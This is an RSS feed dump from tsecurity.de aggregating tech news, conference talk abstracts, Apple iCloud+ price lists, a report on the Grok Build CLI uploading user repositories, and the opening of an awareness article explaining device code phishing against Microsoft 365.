</item>
<item>
<title><![CDATA[An Internet for the Solar System (emf2026)]]></title>
<description><![CDATA[This talk explores the emerging concept of “An Internet for the Solar System” — a networked approach to interplanetary communication that could transform how spacecraft, habitats, and missions share data beyond Earth. Starting with NASA’s LunaNet initiative, we will examine how principles from te...]]></description>
<link>https://tsecurity.de/de/3679529/it-security-video/an-internet-for-the-solar-system-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679529/it-security-video/an-internet-for-the-solar-system-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 15:33:06 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[This talk explores the emerging concept of “An Internet for the Solar System” — a networked approach to interplanetary communication that could transform how spacecraft, habitats, and missions share data beyond Earth. Starting with NASA’s LunaNet initiative, we will examine how principles from terrestrial internet infrastructure are being adapted for the unique challenges of space: extreme latency, intermittent connectivity, and vast distances.

The session will introduce Delay/Disruption Tolerant Networking (DTN), a key protocol framework enabling reliable communication where traditional internet models fail. We will explore how LunaNet envisions a federated system of lunar orbiters, surface relays, and Earth-based nodes working together as a scalable, interoperable network.

A particular focus will be placed on ground infrastructure, including the role of commercial and community-accessible deep space facilities such as Goonhilly Earth Station. Once a cornerstone of satellite communications, Goonhilly is now re-emerging as a key player in deep space data links, supporting missions and opening opportunities for non-governmental participation in space communications.

The talk will also consider future extensions of this interplanetary internet: Mars networks, autonomous routing between spacecraft, and the potential for open standards that enable wider access beyond national space agencies.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/45-an-internet-for-the-solar-system]]></content:encoded>
</item>
<item>
<title><![CDATA[Are There Cybersecurity Risks in Over-the-Air Tech Used in Autos?]]></title>
<description><![CDATA[CNBC reports:


The automotive industry's increasing use of over-the-air technology to update vehicle systems makes it more susceptible to cyberattacks, analysts say, urging more intervention in the sector... Its use represents "a unique national security concern," Gabriel Lim, senior analyst at ...]]></description>
<link>https://tsecurity.de/de/3679418/it-security-nachrichten/are-there-cybersecurity-risks-in-over-the-air-tech-used-in-autos/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679418/it-security-nachrichten/are-there-cybersecurity-risks-in-over-the-air-tech-used-in-autos/</guid>
<pubDate>Sun, 19 Jul 2026 13:52:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[CNBC reports:


The automotive industry's increasing use of over-the-air technology to update vehicle systems makes it more susceptible to cyberattacks, analysts say, urging more intervention in the sector... Its use represents "a unique national security concern," Gabriel Lim, senior analyst at the S. Rajaratnam School of International Studies in Singapore, told CNBC. "Aside from data privacy concerns, the potential of a foreign actor sabotaging the controls of a moving vehicle is a possibility that countries like Norway, Denmark, and Britain have expressed concerns about," Lim added. 

In May, the American Enterprise Institute warned that safeguarding the automotive sector was crucial to limit foreign governments' espionage capabilities. "To protect against foreign espionage threats, the US should consider additional security reviews, implement restrictions on certain foreign-made hardware and software in vehicles, and mandate increased data-collection disclosures," the report said. The concerns come as real-life tests reveal vulnerabilities. Late last year, Norwegian bus company Ruter conducted tests on two buses and found that one had potential risks linked to OTA technology. "There is access to the control system for battery and power supply via mobile network through a Romanian SIM card. In theory, therefore, this bus can be stopped or rendered inoperable by the manufacturer," the company said. The investigation by Ruter then sparked the U.K. and Denmark to conduct their own investigations... 

While these investigations were conducted on buses made by Chinese firm Yutong, [Siraj Ahmed Shaikh, systems security professor at the UK's Swansea University] said the issue goes beyond one manufacturer or country, as the technology becomes more pervasive. "Other sectors adopting OTA include other transport modes [such as] maritime and rail, aerospace (particularly drones), industrial machinery and robotics," he said.
<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Are+There+Cybersecurity+Risks+in+Over-the-Air+Tech+Used+in+Autos%3F+%3A+https%3A%2F%2Ftech.slashdot.org%2Fstory%2F26%2F07%2F19%2F046258%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Ftech.slashdot.org%2Fstory%2F26%2F07%2F19%2F046258%2Fare-there-cybersecurity-risks-in-over-the-air-tech-used-in-autos%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://tech.slashdot.org/story/26/07/19/046258/are-there-cybersecurity-risks-in-over-the-air-tech-used-in-autos?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[An Internet for the Solar System (emf2026)]]></title>
<description><![CDATA[This talk explores the emerging concept of “An Internet for the Solar System” — a networked approach to interplanetary communication that could transform how spacecraft, habitats, and missions share data beyond Earth. Starting with NASA’s LunaNet initiative, we will examine how principles from te...]]></description>
<link>https://tsecurity.de/de/3679392/it-security-video/an-internet-for-the-solar-system-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679392/it-security-video/an-internet-for-the-solar-system-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 13:17:57 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[This talk explores the emerging concept of “An Internet for the Solar System” — a networked approach to interplanetary communication that could transform how spacecraft, habitats, and missions share data beyond Earth. Starting with NASA’s LunaNet initiative, we will examine how principles from terrestrial internet infrastructure are being adapted for the unique challenges of space: extreme latency, intermittent connectivity, and vast distances.

The session will introduce Delay/Disruption Tolerant Networking (DTN), a key protocol framework enabling reliable communication where traditional internet models fail. We will explore how LunaNet envisions a federated system of lunar orbiters, surface relays, and Earth-based nodes working together as a scalable, interoperable network.

A particular focus will be placed on ground infrastructure, including the role of commercial and community-accessible deep space facilities such as Goonhilly Earth Station. Once a cornerstone of satellite communications, Goonhilly is now re-emerging as a key player in deep space data links, supporting missions and opening opportunities for non-governmental participation in space communications.

The talk will also consider future extensions of this interplanetary internet: Mars networks, autonomous routing between spacecraft, and the potential for open standards that enable wider access beyond national space agencies.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/45-an-internet-for-the-solar-system]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Raises iCloud+ Prices in Japan, Nigeria, Türkiye, and Other Countries]]></title>
<description><![CDATA[Apple has raised iCloud+ subscription prices across several countries, including Japan, Nigeria, Türkiye, Egypt, New Zealand, Indonesia, the Philippines, and Vietnam. The latest changes affect every paid storage tier in most of these markets, covering plans from 50GB to 12TB.



The new iCloud+ p...]]></description>
<link>https://tsecurity.de/de/3679103/ios-mac-os/apple-raises-icloud-prices-in-japan-nigeria-tuerkiye-and-other-countries/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679103/ios-mac-os/apple-raises-icloud-prices-in-japan-nigeria-tuerkiye-and-other-countries/</guid>
<pubDate>Sun, 19 Jul 2026 10:09:31 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple has raised iCloud+ subscription prices across several countries, including Japan, Nigeria, Türkiye, Egypt, New Zealand, Indonesia, the Philippines, and Vietnam. The latest changes affect every paid storage tier in most of these markets, covering plans from 50GB to 12TB.



The new iCloud+ prices arrive during a wider series of Apple price increases across hardware and subscription services. Apple recently raised Apple Music and Apple One prices in the United States and other markets, while customers in Japan also saw higher iPhone prices.



Apple has also increased prices for some MacBook, iPad, and other hardware models following rising component and memory costs. The new iCloud+ pricing means customers in affected countries will now pay more each month for additional cloud storage, iCloud Private Relay, Hide My Email, custom email domains, and HomeKit Secure Video support.



New iCloud+ prices in affected countries



Apple has updated iCloud+ prices across eight major markets, although the size of the increase differs by country and storage plan.



Egypt



Customers in Egypt will now pay the following monthly prices:




50GB: EGP 49.99, up from EGP 39.99



200GB: EGP 179.99, up from EGP 149.99



2TB: EGP 599.99, up from EGP 499.99



6TB: EGP 1,799.99, up from EGP 1,499.99



12TB: EGP 3,599.99, up from EGP 2,999.99




Nigeria



Apple has introduced some of the largest increases in Nigeria, with several plans now costing around 50% more than before:




50GB: ₦1,300, up from ₦900



200GB: ₦4,500, up from ₦2,900



2TB: ₦14,900, up from ₦9,900



6TB: ₦39,900, up from ₦26,900



12TB: ₦66,900, up from ₦44,900




Türkiye



iCloud+ users in Türkiye will also see higher monthly charges across every storage tier:




50GB: 49.99 TL, up from 39.99 TL



200GB: 169.99 TL, up from 129.99 TL



2TB: 549.99 TL, up from 399.99 TL



6TB: 1,699.99 TL, up from 1,299.99 TL



12TB: 3,399.99 TL, up from 2,499.99 TL




Indonesia



The entry-level 50GB plan remains unchanged in Indonesia, although Apple has increased the prices of every larger storage option:




50GB: Rp15,000, unchanged



200GB: Rp59,000, up from Rp49,000



2TB: Rp199,000, up from Rp169,000



6TB: Rp599,000, up from Rp499,000



12TB: Rp1,199,000, up from Rp999,000




Japan



Apple has raised all five iCloud+ storage prices in Japan after recently increasing iPhone prices in the country:




50GB: ¥180, up from ¥150



200GB: ¥540, up from ¥450



2TB: ¥1,800, up from ¥1,500



6TB: ¥5,500, up from ¥4,500



12TB: ¥11,000, up from ¥9,000




New Zealand



Customers in New Zealand will now pay between NZ$1.99 and NZ$119.99 each month, depending on their selected storage tier:




50GB: NZ$1.99, up from NZ$1.69



200GB: NZ$5.99, up from NZ$4.99



2TB: NZ$19.99, up from NZ$16.99



6TB: NZ$59.99, up from NZ$49.99



12TB: NZ$119.99, up from NZ$99.99




Philippines



Apple has increased each iCloud+ storage plan in the Philippines, with the 12TB option now costing ₱3,990 per month:




50GB: ₱59, up from ₱49



200GB: ₱199, up from ₱179



2TB: ₱699, up from ₱599



6TB: ₱1,990, up from ₱1,790



12TB: ₱3,990, up from ₱3,590




Vietnam



Vietnamese customers will also see higher prices across the entire iCloud+ lineup:




50GB: ₫25,000, up from ₫19,000



200GB: ₫89,000, up from ₫69,000



2TB: ₫299,000, up from ₫249,000



6TB: ₫899,000, up from ₫749,000



12TB: ₫1,799,000, up from ₫1,499,000




Apple adds USD pricing in three more regions



Apple now lists Laos, Mauritius, and the Republic of Congo among the countries where customers pay for iCloud+ upgrades in US dollars. Apple says the final amount can be slightly higher because of local Value Added Tax charges.



Customers in Mauritius and the Republic of Congo will pay the same monthly prices:




50GB: $1.19



200GB: $3.49



2TB: $11.99



6TB: $34.99



12TB: $69.99




Customers in Laos will pay slightly lower prices across all five storage plans:




50GB: $0.99



200GB: $3.29



2TB: $10.99



6TB: $32.99



12TB: $64.99




The changes apply to iCloud+ plans that provide additional storage beyond the free 5GB included with every Apple Account. Customers can check their current plan and local pricing through the iCloud section in the Settings app on an iPhone or iPad.



Users who no longer need their existing storage tier can switch to a smaller plan, although they must reduce their stored data before the downgrade takes effect. Apple also allows iCloud+ storage sharing through Family Sharing, which can help families avoid paying for separate plans.]]></content:encoded>
</item>
<item>
<title><![CDATA['Grok Build' Coding Tool Open Sourced This Week, Promises to Respect Zero Data Retention]]></title>
<description><![CDATA[Elon Musk confirmed SpaceX has open sourced the Grok Build CLI this week, reports The Register, "just days after researchers caught the AI tool scooping up users' entire repositories and uploading them to company-controlled cloud storage." 

That discovery had "gathered so much negative attention...]]></description>
<link>https://tsecurity.de/de/3678824/it-security-nachrichten/grok-build-coding-tool-open-sourced-this-week-promises-to-respect-zero-data-retention/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678824/it-security-nachrichten/grok-build-coding-tool-open-sourced-this-week-promises-to-respect-zero-data-retention/</guid>
<pubDate>Sun, 19 Jul 2026 05:52:54 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Elon Musk confirmed SpaceX has open sourced the Grok Build CLI this week, reports The Register, "just days after researchers caught the AI tool scooping up users' entire repositories and uploading them to company-controlled cloud storage." 

That discovery had "gathered so much negative attention that Elon Musk felt compelled to issue a public statement alongside SpaceX, and its technical staff, promising to delete all data that Grok Build has ever stored and give users more choice over how their data is handled."


SpaceXAI's data grab was first publicized Sunday [July 12] by Cereblab, who probed Grok Build traffic and found that repos were being packaged up as Git Bundles and beamed to Google Cloud storage... [Elon Musk] said SpaceX would open-source Grok Build to sow greater trust in the product, after the codebase was audited for security vulnerabilities... ["Open-sourcing Grok Build allows anyone to support making a reliable and robust harness," SpaceX posted on X.com. "Check out our code, including the Git repo for the Grok Build CLI."] 


In a separate statement accompanying the open source announcement, SpaceX said it has always respected Zero Data Retention (ZDR), which was applied to enterprise customers by default, and acknowledged that data retention was enabled by default for everyone else, which has now been corrected. It said: "In response to user questions about privacy: Since launch, Grok Build has fully respected zero data retention (ZDR). All users have always had the ability to disable data upload in the CLI. When data upload was disabled, this choice was respected. In the early beta, data retention was enabled by default for non-ZDR users. Based on your feedback, we changed this. We are now going further to protect privacy. With all retained data deleted, retention default off, and an open-source harness, we are offering complete user privacy. You can also run Grok Build fully open-sourced and local-first with your own inference. 
"We disabled default retention for all Grok Build users starting on July 12th. Additionally, we are deleting all coding data that was previously retained, ensuring every user's preferences are respected. With these steps, Grok Build goes beyond other major coding products to protect user privacy." 

SpaceX also invited researchers to probe Grok Build for security issues and report them to its bug bounty program, which offers rewards ranging from $100-$20,000, depending on the severity.


 

The article notes Simon Willison, creator of Datasette and co-creator of Django, wrote this week that the Grok Build codebase comprises 844,530 lines of Rust code. "There are still remnants of the code that used to upload everything to Google Cloud," Willison writes, "but they seem to have been disabled now." 

Elon Musk also posted Wednesday that "Once we have completed our review for security vulnerabilities, we will make the entire codebase of X open source, with no exceptions. Moreover, we will invite third party reviewers to examine the system that is running to confirm that the open source code is what is running."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status='Grok+Build'+Coding+Tool+Open+Sourced+This+Week%2C+Promises+to+Respect+Zero+Data+Retention%3A+https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F07%2F19%2F034258%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F07%2F19%2F034258%2Fgrok-build-coding-tool-open-sourced-this-week-promises-to-respect-zero-data-retention%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://news.slashdot.org/story/26/07/19/034258/grok-build-coding-tool-open-sourced-this-week-promises-to-respect-zero-data-retention?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Chasing Eclipses throughout the Cosmos (emf2026)]]></title>
<description><![CDATA[Solar eclipses are one of the most magnificent sights on Earth. Whether it’s the spine-tingling midday twilight during a total solar eclipse, or watching the Moon taking a “giant bite” out of the Sun during a partial event (like the one we’ll experience in August 2026!), these alignments have cap...]]></description>
<link>https://tsecurity.de/de/3678533/it-security-video/chasing-eclipses-throughout-the-cosmos-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678533/it-security-video/chasing-eclipses-throughout-the-cosmos-emf2026/</guid>
<pubDate>Sat, 18 Jul 2026 23:33:11 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Solar eclipses are one of the most magnificent sights on Earth. Whether it’s the spine-tingling midday twilight during a total solar eclipse, or watching the Moon taking a “giant bite” out of the Sun during a partial event (like the one we’ll experience in August 2026!), these alignments have captivated people for millennia. But what about eclipses beyond the Earth?
 
Recently, The Artemis 2 crew experienced something no other human beings have - an hour long total solar eclipse. Thanks to their trajectory during their lunar flyby, they were able to slowly move through the Moon’s shadow, whereas Earth-bound observers only get a few minutes of totality.

In this talk, we’ll explore what eclipses look like on other planets and discover whether our planetary neighbours experience the same “perfect” eclipses as we do. We’ll also venture further out into the cosmos to investigate what other chance celestial alignments can reveal about the Universe.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/123-chasing-eclipses-throughout-the-cosmos]]></content:encoded>
</item>
<item>
<title><![CDATA[Gen Z and Millennials are Buying CDs - Though Half Don't Have CD Players]]></title>
<description><![CDATA["Approximately half of Gen Z and millennials who have purchased a CD do not own a CD player," according to midyear sales statistics from entertainment data company Luminate. It's driven in part by "collection building", according to their report [PDF]:

The CD has been recontextualized from a fun...]]></description>
<link>https://tsecurity.de/de/3678484/it-security-nachrichten/gen-z-and-millennials-are-buying-cds-though-half-dont-have-cd-players/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678484/it-security-nachrichten/gen-z-and-millennials-are-buying-cds-though-half-dont-have-cd-players/</guid>
<pubDate>Sat, 18 Jul 2026 22:08:23 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA["Approximately half of Gen Z and millennials who have purchased a CD do not own a CD player," according to midyear sales statistics from entertainment data company Luminate. It's driven in part by "collection building", according to their report [PDF]:

The CD has been recontextualized from a functional audio format into an
affordable collectible. This behavior underscores that for younger generations, the act of buying
physical music is as much about aesthetic ownership and direct financial support for the artist
as it is listening to the music on the product itself
 


"Among artists who had a direct impact on the resurgence of CDs, K-Pop icons BTS' 10th studio album, ARIRANG, was a big seller," Vice points out in their report on the new data. "However, Luminate also found that, beyond K-Pop's overall influence, CD sales still increased 6.7% year over year, even if the whole genre was removed from the equation, jumping 16% to 16.3 million units." 

That's more than the growth of vinyl sales (2.4%) — but physical media in general seems to be making a comeback:


 Through the first half of the year, total physical album sales on vinyl, CDs, and cassettes reached 38.2 million units in the United States. This equates to a 7.8% increase.... [I]t seems that younger music fans have been driving a lot of the retro revival. The report shows that in 2026, 60% of Gen Z listeners said they most often listen to music from the 1990s and older. This is a massive increase from the 18 percent marker in 2021. 

The new report also revealed that the way music fans are buying physical media has shifted. Indie record stores have been the largest generator of physical album sales for some time, and they continue to be. However, big-box stores like Target and Walmart took significant strides in the first half of 2026. Collectively, their music sales made up about 30% of the market. 

Thanks to Slashdot reader fjo3 for sharing the article.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Gen+Z+and+Millennials+are+Buying+CDs+-+Though+Half+Don't+Have+CD+Players%3A+https%3A%2F%2Fentertainment.slashdot.org%2Fstory%2F26%2F07%2F18%2F1948235%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fentertainment.slashdot.org%2Fstory%2F26%2F07%2F18%2F1948235%2Fgen-z-and-millennials-are-buying-cds---though-half-dont-have-cd-players%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://entertainment.slashdot.org/story/26/07/18/1948235/gen-z-and-millennials-are-buying-cds---though-half-dont-have-cd-players?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Albanese’s AI speech was a good start. Now Australia must confront these bigger questions | Julianne Schultz]]></title>
<description><![CDATA[The PM’s vision must look beyond datacentres and copyright to questions of capability, security and public benefitGet our breaking news email, free app or daily news podcastEvery new technology has a tipping point, when it speeds towards ubiquity, changing the world as we once knew it. In the pas...]]></description>
<link>https://tsecurity.de/de/3678483/ai-nachrichten/albaneses-ai-speech-was-a-good-start-now-australia-must-confront-these-bigger-questions-julianne-schultz/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678483/ai-nachrichten/albaneses-ai-speech-was-a-good-start-now-australia-must-confront-these-bigger-questions-julianne-schultz/</guid>
<pubDate>Sat, 18 Jul 2026 22:03:30 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The PM’s vision must look beyond datacentres and copyright to questions of capability, security and public benefit</p><ul><li><p>Get our <a href="https://www.theguardian.com/email-newsletters?CMP=cvau_sfl">breaking news email</a>, <a href="https://app.adjust.com/w4u7jx3">free app</a> or <a href="https://www.theguardian.com/australia-news/series/full-story?CMP=cvau_sfl">daily news podcast</a></p></li></ul><p>Every new technology has a tipping point, when it speeds towards ubiquity, changing the world as we once knew it. In the past six months, artificial intelligence, in its various forms, has crossed that threshold.</p><p>You can measure it in the billions of dollars being invested; the hope-tinged-with-fear decrees from presidents, prime ministers, <a href="https://www.wemustactnow.ai/">Nobel laureates</a> and even <a href="https://www.vatican.va/content/leo-xiv/en/encyclicals/documents/20260515-magnifica-humanitas.html">the pope</a>.</p> <a href="https://www.theguardian.com/commentisfree/2026/jul/18/albaneses-ai-speech-was-a-good-start-now-australia-must-confront-these-bigger-questions">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Long After Pluto Fly-By, NASA's New Horizon's Probe Wakes Up Again, Starts Doing New Science]]></title>
<description><![CDATA[Launched in 2006, NASA's New Horizons probe flew by the planet Pluto in 2015. But this week it "awakened from its longest sleep ever," reports CNN.

It's now 5.9 billion miles (9.5 billion kilometers) from Earth...


NASA's New Horizons spacecraft went into a planned hibernation mode on August 7,...]]></description>
<link>https://tsecurity.de/de/3678309/it-security-nachrichten/long-after-pluto-fly-by-nasas-new-horizons-probe-wakes-up-again-starts-doing-new-science/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678309/it-security-nachrichten/long-after-pluto-fly-by-nasas-new-horizons-probe-wakes-up-again-starts-doing-new-science/</guid>
<pubDate>Sat, 18 Jul 2026 19:16:03 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Launched in 2006, NASA's New Horizons probe flew by the planet Pluto in 2015. But this week it "awakened from its longest sleep ever," reports CNN.

It's now 5.9 billion miles (9.5 billion kilometers) from Earth...


NASA's New Horizons spacecraft went into a planned hibernation mode on August 7, 2025, and woke up on June 23 using commands stored on its main computer. The mission's flight controllers at the Johns Hopkins University's Applied Physics Laboratory in Laurel, Maryland, confirmed that New Horizons is in great shape and ready to transmit a stream of science data gathered during hibernation from its location in the region of icy objects known as the Kuiper Belt. 


Pluto is the largest of thousands of frozen, rocky bodies called trans-Neptunian objects, or TNOs, that exist in the Kuiper Belt at the edge of our solar system — remnants from its formation 4.5 billion years ago... The spacecraft is capturing data about the rotation rates, orientations and shapes... The measurements provide insights into how planets are born from dust and pebbles, said Pontus Brandt, New Horizons project scientist at the Johns Hopkins Applied Physics Laboratory.
"There seems to be more paired, snowman-shaped bodies, like Arrokoth, out there than anyone expected," Brandt wrote in an email. "Are such binaries the most common planetesimal and is this how larger planets have been built in our own and other stellar systems? These are very deep questions that New Horizons can help answer." 


The spacecraft also measures the distribution of gas in the outer heliosphere, the expansive, protective bubble formed by a steady stream of particles that release from the sun called the solar wind. Meanwhile, an instrument called the Pluto Energetic Particle Spectrometer Science Investigation is measuring galactic cosmic rays, extremely fast particles created when stars explode. The particles pose one of the more severe threats for human activities in space, Brandt said, but the boundary of the heliosphere acts as a shield to protect our solar system from 70% of them. New Horizons' data could help scientists learn more about how this puzzling shielding works, he said. 

Another instrument, the Venetia Burney Student Dust Counter, has collected data that has thrown New Horizon's team a curveball, Brandt said. The team expected dust abundance to be high within the Kuiper Belt due to the significant presence of small objects. But New Horizons has traveled beyond the known boundary of the Kuiper Belt — and it's still in a dusty environment.

<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Long+After+Pluto+Fly-By%2C+NASA's+New+Horizon's+Probe+Wakes+Up+Again%2C+Starts+Doing+New+Science%3A+https%3A%2F%2Fscience.slashdot.org%2Fstory%2F26%2F07%2F18%2F0537208%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fscience.slashdot.org%2Fstory%2F26%2F07%2F18%2F0537208%2Flong-after-pluto-fly-by-nasas-new-horizons-probe-wakes-up-again-starts-doing-new-science%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://science.slashdot.org/story/26/07/18/0537208/long-after-pluto-fly-by-nasas-new-horizons-probe-wakes-up-again-starts-doing-new-science?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[An Introduction to Automated Software Testing using Symbolic Execution (hackover2026)]]></title>
<description><![CDATA[This talk provides a foundational introduction to symbolic execution. Symbolic execution is an automated software testing technique that enumerates all reachable execution paths through a software under test. An execution path is a sequence of Boolean values specifying which branch was taken, for...]]></description>
<link>https://tsecurity.de/de/3677870/it-security-video/an-introduction-to-automated-software-testing-using-symbolic-execution-hackover2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677870/it-security-video/an-introduction-to-automated-software-testing-using-symbolic-execution-hackover2026/</guid>
<pubDate>Sat, 18 Jul 2026 13:03:16 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[This talk provides a foundational introduction to symbolic execution. Symbolic execution is an automated software testing technique that enumerates all reachable execution paths through a software under test. An execution path is a sequence of Boolean values specifying which branch was taken, for every branch point in the tested software. As program execution diverts at branch points, reasoning about execution paths is vital for software testing.

To enumerate execution paths, symbolic execution formally reasons about the satisfiability of branch conditions. Therefore, in contrast to other automated testing techniques (e.g., fuzzing), it takes the program structure into account and thus goes beyond bug finding, enabling us to prove properties about the tested code. That is, show that they hold on all reachable execution paths. This presentation will explain how symbolic execution works under the hood and illustrate its outlined capabilities using a practical example.

Slides and demo material available via: &lt;https://github.com/nmeum/symex-intro&gt;.

Licensed to the public under https://creativecommons.org/licenses/by/4.0/
about this event: https://talks.hackover.de/ho26/talk/CKUL8T/]]></content:encoded>
</item>
<item>
<title><![CDATA[Device Code Phishing: How Attackers Abuse Microsoft’s Legitimate Authentication Page Without…]]></title>
<description><![CDATA[Device Code Phishing: How Attackers Abuse Microsoft’s Legitimate Authentication Page Without Stealing Your PasswordThe most convincing Microsoft phishing attack yet. Learn how attackers abuse Microsoft’s trusted device authentication process, obtain access tokens instead of passwords, and why tra...]]></description>
<link>https://tsecurity.de/de/3677780/hacking/device-code-phishing-how-attackers-abuse-microsofts-legitimate-authentication-page-without/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677780/hacking/device-code-phishing-how-attackers-abuse-microsofts-legitimate-authentication-page-without/</guid>
<pubDate>Sat, 18 Jul 2026 11:39:11 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Device Code Phishing: How Attackers Abuse Microsoft’s Legitimate Authentication Page Without Stealing Your Password</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7OVpY6KkTRyuVGErNrEOnw.png"></figure><p>The most convincing Microsoft phishing attack yet. Learn how attackers abuse Microsoft’s trusted device authentication process, obtain access tokens instead of passwords, and why traditional MFA awareness alone is no longer enough.</p><p>Have You Ever Come Across a Website Like This Below Screenshot? No fake Microsoft login pages. No stealing of passwords. No cloned authentication forms. No obvious browser warnings. Yes that’s device code phishing</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IWV-Evt-XtPkaXDpCmwEVg.png"><figcaption>At first glance, this page looks completely legitimate.</figcaption></figure><p>It carries Microsoft’s branding, displays a verification code, and instructs users to continue their sign-in using the official Microsoft Device Login page. Unlike traditional phishing websites, there are no fake Microsoft login forms, no requests for your password, and no obvious signs that something is wrong.</p><p>So, it must be safe… right?</p><p>Not necessarily.</p><p>Device Code Phishing has become one of the most effective phishing techniques because it abuses Microsoft’s legitimate authentication workflow instead of attempting to steal usernames and passwords. Since users authenticate directly with Microsoft, many of the traditional warning signs associated with phishing are absent, making these attacks significantly more convincing.</p><p>In this article, the ThreatWatch360 team explains how Device Code Phishing works, why it is dangerous, and how attackers leverage this technique to gain unauthorized access to Microsoft 365 accounts without ever asking victims for their credentials.</p><h3>What is Device Code Authentication?</h3><p>Before understanding Device Code Phishing, it’s important to understand Device Code Authentication.</p><p>Microsoft introduced the Device Code Flow to allow devices with limited input capabilities, such as smart TVs, conference room devices, IoT devices, and command-line applications, to authenticate users.</p><p>Instead of entering credentials directly on the device, Microsoft generates a short verification code.</p><p>The user then visits Microsoft’s official Device Login page, enters the code, signs in with their Microsoft account, and authorizes the request.</p><p>The authenticated session is then linked back to the requesting application.</p><p>This workflow is completely legitimate and is widely used by Microsoft-supported applications.</p><p>Unfortunately, threat actors discovered they could abuse this authentication flow for phishing.</p><h3>How Device Code Phishing Works</h3><p>Unlike traditional phishing attacks, Device Code Phishing does <strong>not</strong> steal passwords.</p><p>Instead, it tricks victims into authorizing an attacker-controlled application using Microsoft’s own authentication infrastructure.</p><p>The result is that the attacker receives a valid Microsoft access token after the victim successfully authenticates.</p><p><strong>Stage 1 — The Phishing Email</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tAn7mYR2AdzzB3hwopRHjw.png"><figcaption>Initial Phishing Email</figcaption></figure><p>The attack usually begins with a convincing phishing email.</p><p>In our demonstration, the victim receives an email claiming that Microsoft detected unusual sign-in activity and encourages them to secure their account 